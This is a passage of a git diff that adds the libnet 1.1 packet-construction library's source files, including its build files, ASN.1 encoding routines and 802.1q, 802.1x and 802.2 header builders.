+/libnet_build_dns.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_build_ethernet.c/1.9/Tue Apr 13 17:32:28 2004// +/libnet_build_fddi.c/1.11/Thu Apr 8 18:20:27 2004// +/libnet_build_icmp.c/1.17/Tue Apr 13 17:32:28 2004// +/libnet_build_igmp.c/1.12/Tue Apr 13 17:32:28 2004// +/libnet_build_ip.c/1.19/Tue Apr 13 17:32:28 2004// +/libnet_build_ipsec.c/1.12/Tue Apr 13 17:32:28 2004// +/libnet_build_isl.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_build_link.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_build_mpls.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_build_rip.c/1.9/Tue Apr 13 17:32:28 2004// +/libnet_build_rpc.c/1.10/Thu Apr 8 18:28:23 2004// +/libnet_build_sebek.c/1.2/Thu Apr 8 18:28:34 2004// +/libnet_build_stp.c/1.9/Tue Apr 13 17:32:28 2004// +/libnet_build_token_ring.c/1.10/Thu Apr 8 18:29:33 2004// +/libnet_build_udp.c/1.11/Tue Apr 13 17:32:28 2004// +/libnet_build_vrrp.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_if_addr.c/1.23/Tue Apr 13 17:32:28 2004// +/Makefile.am/1.6/Tue Nov 9 07:05:07 2004// +/Makefile.in/1.14/Tue Nov 9 07:05:07 2004// +/libnet_advanced.c/1.8/Tue Nov 9 07:05:07 2004// +/libnet_build_gre.c/1.10/Tue Nov 9 06:40:20 2004// +/libnet_build_hsrp.c/1.1/Fri May 28 14:55:19 2004// +/libnet_build_ntp.c/1.11/Tue Nov 9 07:05:07 2004// +/libnet_build_ospf.c/1.12/Tue Nov 9 07:05:07 2004// +/libnet_checksum.c/1.14/Tue Nov 9 07:05:07 2004// +/libnet_pblock.c/1.14/Tue Nov 9 07:05:07 2004// +/libnet_resolve.c/1.21/Tue Nov 9 07:05:07 2004// +/libnet_version.c/1.7/Tue Nov 9 07:05:07 2004// +/libnet_write.c/1.14/Tue Nov 9 07:05:07 2004// +D diff --git a/libnet/src/CVS/Repository b/libnet/src/CVS/Repository new file mode 100644 index 0000000..46f61ac --- /dev/null +++ b/libnet/src/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/src diff --git a/libnet/src/CVS/Root b/libnet/src/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/src/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/src/Makefile.am b/libnet/src/Makefile.am new file mode 100644 index 0000000..bc51aa6 --- /dev/null +++ b/libnet/src/Makefile.am @@ -0,0 +1,62 @@ +# $Id: Makefile.am,v 1.6 2004/11/09 07:05:07 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# +# Process this file with automake to produce a Makefile.in script. + +include $(top_srcdir)/Makefile.am.common + +lib_LTLIBRARIES = libnet.la + +libnet_la_SOURCES = libnet_asn1.c \ + libnet_build_802.1q.c \ + libnet_build_802.1x.c \ + libnet_build_802.2.c \ + libnet_build_802.3.c \ + libnet_build_arp.c \ + libnet_build_bgp.c \ + libnet_build_cdp.c \ + libnet_build_data.c \ + libnet_build_dhcp.c \ + libnet_build_dns.c \ + libnet_build_ethernet.c \ + libnet_build_fddi.c \ + libnet_build_gre.c \ + libnet_build_hsrp.c \ + libnet_build_icmp.c \ + libnet_build_igmp.c \ + libnet_build_ip.c \ + libnet_build_ipsec.c \ + libnet_build_isl.c \ + libnet_build_mpls.c \ + libnet_build_ntp.c \ + libnet_build_ospf.c \ + libnet_build_rip.c \ + libnet_build_rpc.c \ + libnet_build_sebek.c \ + libnet_build_snmp.c \ + libnet_build_stp.c \ + libnet_build_tcp.c \ + libnet_build_token_ring.c \ + libnet_build_udp.c \ + libnet_build_vrrp.c \ + libnet_advanced.c \ + libnet_checksum.c \ + libnet_cq.c \ + libnet_crc.c \ + libnet_error.c \ + libnet_if_addr.c \ + libnet_init.c \ + libnet_internal.c \ + libnet_pblock.c \ + libnet_port_list.c \ + libnet_prand.c \ + libnet_raw.c \ + libnet_resolve.c \ + libnet_version.c \ + libnet_write.c + +libnet_la_LIBADD = @LTLIBOBJS@ +libnet_la_LDFLAGS = -version-info 1:3:1 -Wl diff --git a/libnet/src/Makefile.in b/libnet/src/Makefile.in new file mode 100644 index 0000000..5d6c5e4 --- /dev/null +++ b/libnet/src/Makefile.in @@ -0,0 +1,537 @@ +# Makefile.in generated by automake 1.9.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, +# 2003, 2004 Free Software Foundation, Inc. +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +# $Id: Makefile.am,v 1.6 2004/11/09 07:05:07 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# +# Process this file with automake to produce a Makefile.in script. + +# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# + +SOURCES = $(libnet_la_SOURCES) + +srcdir = @srcdir@ +top_srcdir = @top_srcdir@ +VPATH = @srcdir@ +pkgdatadir = $(datadir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +top_builddir = .. +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +INSTALL = @INSTALL@ +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +target_triplet = @target@ +DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in \ + $(top_srcdir)/Makefile.am.common libnet_link_bpf.c \ + libnet_link_dlpi.c libnet_link_linux.c libnet_link_nit.c \ + libnet_link_none.c libnet_link_pf.c libnet_link_snit.c \ + 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Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +int +libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s) +{ + *packet = NULL; + *packet_s = 0; + + if (l->injection_type != LIBNET_LINK_ADV) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): advanced link mode not enabled\n", __func__); + return (-1); + } + + /* checksums will be written in */ + return (libnet_pblock_coalesce(l, packet, packet_s)); +} + +int +libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header, + u_int32_t *header_s) +{ + libnet_pblock_t *p; + + *header = NULL; + *header_s = 0; + + if (l->injection_type != LIBNET_LINK_ADV) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): advanced link mode not enabled\n", __func__); + return (-1); + } + + p = libnet_pblock_find(l, ptag); + if (p == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): ptag not found, you sure it exists?\n", __func__); + return (-1); + } + *header = p->buf; + *header_s = p->b_len; + + return (1); +} + +int +libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s) +{ + int c; + + if (l->injection_type != LIBNET_LINK_ADV) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): advanced link mode not enabled\n", __func__); + return (-1); + } + c = libnet_write_link(l, packet, packet_s); + + /* do statistics */ + if (c == packet_s) + { + l->stats.packets_sent++; + l->stats.bytes_written += c; + } + else + { + l->stats.packet_errors++; + /* + * XXX - we probably should have a way to retrieve the number of + * bytes actually written (since we might have written something). + */ + if (c > 0) + { + l->stats.bytes_written += c; + } + } + return (c); +} + +int +libnet_adv_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t packet_s) +{ + int c; + + if (l->injection_type != LIBNET_RAW4_ADV) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): advanced raw4 mode not enabled\n", __func__); + return (-1); + } + c = libnet_write_raw_ipv4(l, packet, packet_s); + + /* do statistics */ + if (c == packet_s) + { + l->stats.packets_sent++; + l->stats.bytes_written += c; + } + else + { + l->stats.packet_errors++; + /* + * XXX - we probably should have a way to retrieve the number of + * bytes actually written (since we might have written something). + */ + if (c > 0) + { + l->stats.bytes_written += c; + } + } + return (c); +} + +void +libnet_adv_free_packet(libnet_t *l, u_int8_t *packet) +{ + /* + * Restore original pointer address so free won't complain about a + * modified chunk pointer. + */ + if (l->aligner > 0) + { + packet = packet - l->aligner; + } + free(packet); +} + +/* EOF */ diff --git a/libnet/src/libnet_asn1.c b/libnet/src/libnet_asn1.c new file mode 100644 index 0000000..07341b8 --- /dev/null +++ b/libnet/src/libnet_asn1.c @@ -0,0 +1,436 @@ +/* + * $Id: libnet_asn1.c,v 1.5 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * libnet_asn1.c - Abstract Syntax Notation One routines + * + * Abstract Syntax Notation One, ASN.1 + * As defined in ISO/IS 8824 and ISO/IS 8825 + * This implements a subset of the above International Standards that + * is sufficient to implement SNMP. + * + * Encodes abstract data types into a machine independent stream of bytes. + * + * Copyright 1988, 1989, 1991, 1992 by Carnegie Mellon University + * All rights reserved. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose and without fee is hereby granted, + * provided that the above copyright notice appear in all copies and that + * both that copyright notice and this permission notice appear in + * supporting documentation, and that the name of CMU not be + * used in advertising or publicity pertaining to distribution of the + * software without specific, written prior permission. + * + * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING + * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL + * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR + * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, + * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, + * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1993, 1994, 1995, 1996, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +u_int8_t * +libnet_build_asn1_int(u_int8_t *data, int *datalen, u_int8_t type, int32_t *int_p, + int int_s) +{ + /* + * ASN.1 integer ::= 0x02 asnlength byte {byte}* + */ + register int32_t integer; + register u_int32_t mask; + + if (int_s != sizeof (int32_t)) + { + return (NULL); + } + integer = *int_p; + + /* + * Truncate "unnecessary" bytes off of the most significant end of this + * 2's complement integer. There should be no sequence of 9 consecutive + * 1's or 0's at the most significant end of the integer. + */ + mask = ((u_int32_t) 0x1FF) << ((8 * (sizeof (int32_t) - 1)) - 1); + /* mask is 0xFF800000 on a big-endian machine */ + + while ((((integer & mask) == 0) || ((integer & mask) == mask)) && int_s > 1) + { + int_s--; + integer <<= 8; + } + + data = libnet_build_asn1_header(data, datalen, type, int_s); + + if (data == NULL || *datalen < int_s) + { + return (NULL); + } + + *datalen -= int_s; + + mask = ((u_int32_t) 0xFF) << (8 * (sizeof(int32_t) - 1)); + /* mask is 0xFF000000 on a big-endian machine */ + + while (int_s--) + { + *data++ = (u_int8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))); + integer <<= 8; + } + return (data); +} + + +u_int8_t * +libnet_build_asn1_uint(u_int8_t *data, int *datalen, u_int8_t type, u_int32_t *int_p, + int int_s) +{ + /* + * ASN.1 integer ::= 0x02 asnlength byte {byte}* + */ + register u_int32_t integer; + register u_int32_t mask; + int add_null_byte = 0; + + if (int_s != sizeof (int32_t)) + { + return (NULL); + } + integer = *int_p; + + mask = ((u_int32_t) 0xFF) << (8 * (sizeof (int32_t) - 1)); + /* mask is 0xFF000000 on a big-endian machine */ + + if ((u_int8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))) & 0x80) + { + /* if MSB is set */ + add_null_byte = 1; + int_s++; + } + else + { + /* + * Truncate "unnecessary" bytes off of the most significant end of this + * 2's complement integer. There should be no sequence of 9 + * consecutive 1's or 0's at the most significant end of the + * integer. + */ + mask = ((u_int32_t) 0x1FF) << ((8 * (sizeof(int32_t) - 1)) - 1); + /* mask is 0xFF800000 on a big-endian machine */ + + while (((integer & mask) == 0) && int_s > 1) + { + int_s--; + integer <<= 8; + } + } + + data = libnet_build_asn1_header(data, datalen, type, int_s); + + if (data == NULL || *datalen < int_s) + { + return (NULL); + } + + *datalen -= int_s; + + if (add_null_byte == 1) + { + *data++ = '\0'; + int_s--; + } + + mask = ((u_int32_t) 0xFF) << (8 * (sizeof(int32_t) - 1)); + /* mask is 0xFF000000 on a big-endian machine */ + + while (int_s--) + { + *data++ = (u_int8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))); + integer <<= 8; + } + return (data); +} + + +u_int8_t * +libnet_build_asn1_string(u_int8_t *data, int *datalen, u_int8_t type, + u_int8_t *string, int str_s) +{ + + /* + * ASN.1 octet string ::= primstring | cmpdstring + * primstring ::= 0x04 asnlength byte {byte}* + * cmpdstring ::= 0x24 asnlength string {string}* + * This code will never send a compound string. + */ + data = libnet_build_asn1_header(data, datalen, type, str_s); + + if (data == NULL || *datalen < str_s) + { + return (NULL); + } + memmove(data, string, str_s); + *datalen -= str_s; + + return (data + str_s); +} + + +u_int8_t * +libnet_build_asn1_header(u_int8_t *data, int *datalen, u_int8_t type, int len) +{ + if (*datalen < 1) + { + return (NULL); + } + *data++ = type; + (*datalen)--; + + return (libnet_build_asn1_length(data, datalen, len)); +} + + +u_int8_t * +libnet_build_asn1_sequence(u_int8_t *data, int *datalen, u_int8_t type, int len) +{ + *datalen -= 4; + if (*datalen < 0) + { + *datalen += 4; /* fix up before punting */ + return (NULL); + } + *data++ = type; + *data++ = (u_int8_t)(0x02 | ASN_LONG_LEN); + *data++ = (u_int8_t)((len >> 8) & 0xFF); + *data++ = (u_int8_t)(len & 0xFF); + return (data); +} + + +u_int8_t * +libnet_build_asn1_length(u_int8_t *data, int *datalen, int len) +{ + u_int8_t *start_data = data; + + /* no indefinite lengths sent */ + if (len < 0x80) + { + if (*datalen < 1) + { + return (NULL); + } + *data++ = (u_int8_t)len; + } + else if (len <= 0xFF) + { + if (*datalen < 2) + { + return (NULL); + } + *data++ = (u_int8_t)(0x01 | ASN_LONG_LEN); + *data++ = (u_int8_t)len; + } + else /* 0xFF < len <= 0xFFFF */ + { + if (*datalen < 3) + { + return (NULL); + } + *data++ = (u_int8_t)(0x02 | ASN_LONG_LEN); + *data++ = (u_int8_t)((len >> 8) & 0xFF); + *data++ = (u_int8_t)(len & 0xFF); + } + *datalen -= (data - start_data); + return (data); +} + + +u_int8_t * +libnet_build_asn1_objid(u_int8_t *data, int *datalen, u_int8_t type, oid *objid, + int objidlen) +{ + /* + * ASN.1 objid ::= 0x06 asnlength subidentifier {subidentifier}* + * subidentifier ::= {leadingbyte}* lastbyte + * leadingbyte ::= 1 7bitvalue + * lastbyte ::= 0 7bitvalue + */ + int asnlen; + register oid *op = objid; + u_int8_t objid_size[MAX_OID_LEN]; + register u_int32_t objid_val; + u_int32_t first_objid_val; + register int i; + + /* check if there are at least 2 sub-identifiers */ + if (objidlen < 2) + { + /* there are not, so make OID have two with value of zero */ + objid_val = 0; + objidlen = 2; + } + else + { + /* combine the first two values */ + objid_val = (op[0] * 40) + op[1]; + op += 2; + } + first_objid_val = objid_val; + + /* calculate the number of bytes needed to store the encoded value */ + for (i = 1, asnlen = 0;;) + { + if (objid_val < (unsigned)0x80) + { + objid_size[i] = 1; + asnlen += 1; + } + else if (objid_val < (unsigned)0x4000) + { + objid_size[i] = 2; + asnlen += 2; + } + else if (objid_val < (unsigned)0x200000) + { + objid_size[i] = 3; + asnlen += 3; + } + else if (objid_val < (unsigned)0x10000000) + { + objid_size[i] = 4; + asnlen += 4; + } + else + { + objid_size[i] = 5; + asnlen += 5; + } + i++; + if (i >= objidlen) + { + break; + } + objid_val = *op++; + } + + /* store the ASN.1 tag and length */ + data = libnet_build_asn1_header(data, datalen, type, asnlen); + if (data == NULL || *datalen < asnlen) + { + return (NULL); + } + + /* store the encoded OID value */ + for (i = 1, objid_val = first_objid_val, op = objid + 2; i < objidlen; i++) + { + if (i != 1) + { + objid_val = *op++; + } + switch (objid_size[i]) + { + case 1: + *data++ = (u_int8_t)objid_val; + break; + + case 2: + *data++ = (u_int8_t)((objid_val >> 7) | 0x80); + *data++ = (u_int8_t)(objid_val & 0x07f); + break; + case 3: + *data++ = (u_int8_t)((objid_val >> 14) | 0x80); + *data++ = (u_int8_t)((objid_val >> 7 & 0x7f) | 0x80); + *data++ = (u_int8_t)(objid_val & 0x07f); + break; + + case 4: + *data++ = (u_int8_t)((objid_val >> 21) | 0x80); + *data++ = (u_int8_t)((objid_val >> 14 & 0x7f) | 0x80); + *data++ = (u_int8_t)((objid_val >> 7 & 0x7f) | 0x80); + *data++ = (u_int8_t)(objid_val & 0x07f); + break; + + case 5: + *data++ = (u_int8_t)((objid_val >> 28) | 0x80); + *data++ = (u_int8_t)((objid_val >> 21 & 0x7f) | 0x80); + *data++ = (u_int8_t)((objid_val >> 14 & 0x7f) | 0x80); + *data++ = (u_int8_t)((objid_val >> 7 & 0x7f) | 0x80); + *data++ = (u_int8_t)(objid_val & 0x07f); + break; + } + } + + /* return the length and data ptagr */ + *datalen -= asnlen; + return (data); +} + + +u_int8_t * +libnet_build_asn1_null(u_int8_t *data, int *datalen, u_int8_t type) +{ + /* + * ASN.1 null ::= 0x05 0x00 + */ + return (libnet_build_asn1_header(data, datalen, type, 0)); +} + + +u_int8_t * +libnet_build_asn1_bitstring(u_int8_t *data, int *datalen, u_int8_t type, + u_int8_t *string, int str_s) +{ + + /* + * ASN.1 bit string ::= 0x03 asnlength unused {byte}* + */ + if (str_s < 1 || *string > 7) + { + return (NULL); + } + data = libnet_build_asn1_header(data, datalen, type, str_s); + + if (data == NULL || *datalen < str_s) + { + return (NULL); + } + + memmove(data, string, str_s); + *datalen -= str_s; + + return (data + str_s); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_802.1q.c b/libnet/src/libnet_build_802.1q.c new file mode 100644 index 0000000..65cb3a1 --- /dev/null +++ b/libnet/src/libnet_build_802.1q.c @@ -0,0 +1,102 @@ +/* + * $Id: libnet_build_802.1q.c,v 1.11 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_802.1q.c - 802.1q packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi, +u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_802_1q_hdr _802_1q_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_802_1Q_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_1Q_H); + if (p == NULL) + { + return (-1); + } + + memset(&_802_1q_hdr, 0, sizeof(_802_1q_hdr)); + memcpy(_802_1q_hdr.vlan_dhost, dst, ETHER_ADDR_LEN); + memcpy(_802_1q_hdr.vlan_shost, src, ETHER_ADDR_LEN); + _802_1q_hdr.vlan_tpi = htons(tpi); + _802_1q_hdr.vlan_priority_c_vid = htons((priority << 13) | (cfi << 12) + | (vlan_id & LIBNET_802_1Q_VIDMASK)); + _802_1q_hdr.vlan_len = htons(len_proto); + + n = libnet_pblock_append(l, p, (u_int8_t *)&_802_1q_hdr, LIBNET_802_1Q_H); + if (n == (u_int32_t)-1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* + * The link offset is actually 4 bytes further into the header than + * before (the VLAN header adds this 4 bytes). We need to update the + * link offset pointer. XXX - should we set this here? + * Probably not. We should make pblock_coalesce check the pblock type + * and adjust accordingly. + */ + l->link_offset += 4; + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_802_1Q_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +/* EOF */ diff --git a/libnet/src/libnet_build_802.1x.c b/libnet/src/libnet_build_802.1x.c new file mode 100644 index 0000000..0e9f56c --- /dev/null +++ b/libnet/src/libnet_build_802.1x.c @@ -0,0 +1,88 @@ +/* + * $Id: libnet_build_802.1x.c,v 1.12 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_802.1x.c - 802.1x packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_802_1x_hdr dot1x_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_802_1X_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_1X_H); + if (p == NULL) + { + return (-1); + } + + memset(&dot1x_hdr, 0, sizeof(dot1x_hdr)); + dot1x_hdr.dot1x_version = eap_ver; + dot1x_hdr.dot1x_type = eap_type; + dot1x_hdr.dot1x_length = htons(length); + + n = libnet_pblock_append(l, p, (u_int8_t *)&dot1x_hdr, LIBNET_802_1X_H); + if (n == (u_int32_t)-1) + { + goto bad; + } + + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_802_1X_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_802.2.c b/libnet/src/libnet_build_802.2.c new file mode 100644 index 0000000..f9c043a --- /dev/null +++ b/libnet/src/libnet_build_802.2.c @@ -0,0 +1,140 @@ +/* + * $Id: libnet_build_802.2.c,v 1.11 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_802.2.c - 802.2 packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR 